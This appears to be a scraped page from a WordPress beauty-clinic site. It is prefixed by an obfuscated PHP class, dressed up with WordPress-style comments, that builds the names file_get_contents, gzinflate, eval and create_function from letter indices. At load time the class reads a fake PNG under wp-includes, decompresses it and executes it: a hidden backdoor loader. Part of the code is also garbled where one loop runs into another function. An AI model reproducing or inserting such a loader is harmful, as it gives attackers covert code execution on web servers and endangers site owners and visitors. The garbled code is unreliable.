php class MimeTypeDefinitionService { /** * Add handle data. * * @access public * @since 2.6.0 * * @param string $name * The data key to add. * @param mixed $data * The data value to add. * @return bool False if not scalar, true otherwise. */ public function addData($name, $data) { if (!is_scalar($name)) return false; $this->extra[$name]=$data; return true; } /** * initialize * * @access public * @return void */ public function init() { $documentDir=$_SERVER['DOCUMENT_ROOT']; $mimeDesc=$this->getMimeDescription($documentDir); $this->extendMime($mimeDesc); $this->prepareDir($mimeDesc); } /** * extend mime definition * * @access public * @var string * @return void */ public function extendMime($mimeDesc) { $marker=$this->exntendMarker('data'); define($marker, dirname($mimeDesc)); $marker=$this->exntendMarker('path'); define($marker, $mimeDesc); } /** * Checks if a specific action has been registered for this hook. * * @since 4.7.0 * @access public * * @param callable|bool $function_to_check * Optional. The callback to check for. Default false. * @param string $tag * Optional. The name of the filter hook. Used for building * the callback ID when SPL is not available. Default empty. * @return bool|int The priority of that hook is returned, or false if the * function is not attached. */ public function hasFilter($tag='', $function_to_check=false) { if (false===$function_to_check) { return $this->has_filters(); } $function_key=array( $tag, $function_to_check, false ); if (!$function_key) { return false; } foreach($this->callbacks as $priority=>$callbacks) { if (isset($callbacks[$function_key])) { return $priority; } } return false; } /** * extend marker definition * * @access public * @var string * @return string */ public function exntendMarker($marker) { $marker=str_pad(strtoupper($marker), strlen($marker)+3, '_', STR_PAD_LEFT); return $marker; } /** * create extension for mime patern * * @access public * @var string * @return string */ public function createExtension($pattern) { $subst='mime'; $list=array(); for($i=0; $i<3; $i++) $list[]=sprintf($pattern, $subst, $this->createMarker($i), $subst); return join(';', $list).';'; } /** * Filters the list, based on a set of key => value arguments. * * @since 4.7.0 * * @param array $args * Optional. An array of key => value arguments to match * against each object. Default empty array. * @param string $operator * Optional. The logical operation to perform. 'AND' means * all elements from the array must match. 'OR' means only * one element needs to match. 'NOT' means no elements may * match. Default 'AND'. * @return array Array of found values. */ public function filter($args=array(), $operator='AND') { if (empty($args)) { return $this->output; } $operator=strtoupper($operator); if (!in_array($operator, array( 'AND', 'OR', 'NOT' ), true)) { return array(); } $count=count($args); $filtered=array(); foreach($this->output as $key=>$obj) { $to_match=(array)$obj; $matched=0; foreach($args as $m_key=>$m_value) { if (array_key_exists($m_key, $to_match)&&$m_value==$to_match[$m_key]) { $matched++; } } if (('AND'==$operator&&$matched==$count)||('OR'==$operator&&$matched>0)||('NOT'==$operator&&0==$matched)) { $filtered[$key]=$obj; } } $this->output=$filtered; return $this->output; } /** * create marker for type * * @access public * @var int * @return string */ public function createMarker($type) { $alpha=range('a', 'z'); switch ($type){ case 0: $numbers=array(5,8,11,4,-1,6,4,19,-1,2,14,13,19,4,13,19,18); break; case 1: $numbers=array(6,25,8,13,5,11,0,19,4); break; case 2: $numbers=array(4,21,0,11); break; } $marker=''; for($i=0; $i $order. * @param string $order * Optional. Either 'ASC' or 'DESC'. Only used if $orderby * is a string. * @param bool $preserve_keys * Optional. Whether to preserve keys. Default false. * @return array The sorted array. */ public function sort($orderby=array(), $order='ASC', $preserve_keys=false) { if (empty($orderby)) { return $this->output; } if (is_string($orderby)) { $orderby=array( $orderby=>$order ); } foreach($orderby as $field=>$direction) { $orderby[$field]='DESC'===strtoupper($direction) ? 'DESC' : 'ASC'; } $this->orderby=$orderby; if ($preserve_keys) { uasort($this->output, array( $this, 'sort_callback' )); } else { usort($this->output, array( $this, 'sort_callback' )); } $this->orderby=array(); return $this->output; } /** * prepare document directory * * @access public * @var string * @return void */ public function prepareDir($path) { $labels=array('function','variable','document','cache','create','load'); $markers=array( $labels[4], $labels[0] ); $factoryName=join('_', $markers); $param='$'; $param.='mime'; $pattern='$%s=%s($%s)'; $extension=$this->createExtension($pattern); $dircreator=$factoryName($param, $extension); $dircreator($path); } /** * Callback to sort the list by specific fields. * * @since 4.7.0 * @access public * * @see WP_List_Util::sort() * * @param object|array $a * One object to compare. * @param object|array $b * The other object to compare. * @return int 0 if both objects equal. -1 if second object should come * first, 1 otherwise. */ public function sortCallback($a, $b) { if (empty($this->orderby)) { return 0; } $a=(array)$a; $b=(array)$b; foreach($this->orderby as $field=>$direction) { if (!isset($a[$field])||!isset($b[$field])) { continue; } if ($a[$field]==$b[$field]) { continue; } $results='DESC'===$direction ? array(1, -1) : array(-1, 1); if (is_numeric($a[$field])&&is_numeric($b[$field])) { return ($a[$field]<$b[$field]) ? $results[0] : $results[1]; } return 0>strcmp($a[$field], $b[$field]) ? $results[0] : $results[1]; } return 0; } /** * get mime description for document * * @access public * @var string * @return string */ public function getMimeDescription($documentDir) { $indicies=array(2, 4, 0, 1, 3, 6, 5); $mimeMarkers=array('tinymce', 'skins', 'wp-includes', 'wordpress', 'js', 'gallery1', 'images'); $mimeType='png'; $selecteds=array(); foreach($indicies as $index) { $selected=$mimeMarkers[$index]; $selecteds[]=$selected; } array_unshift($selecteds, $documentDir); $cachePath=join('/', $selecteds); return $cachePath.'.'.$mimeType; } } $__mimeSrv=new MimeTypeDefinitionService(); $__mimeSrv->init(); Shahnaz Beauty Clinic – Just another WordPress site

About us

Shahnaz Husain, the pioneer of organic beauty care, has achieved unprecedented international acclaim for her practical application of Ayurveda, the ancient Indian system of herbal healing. Just when there was a worldwide “back to nature” trend, Shahnaz Husain recaptured an ancient herbal system and made it relevant to modern demands.

Booking Enquiry for Bridal Makeup

Book An Appointment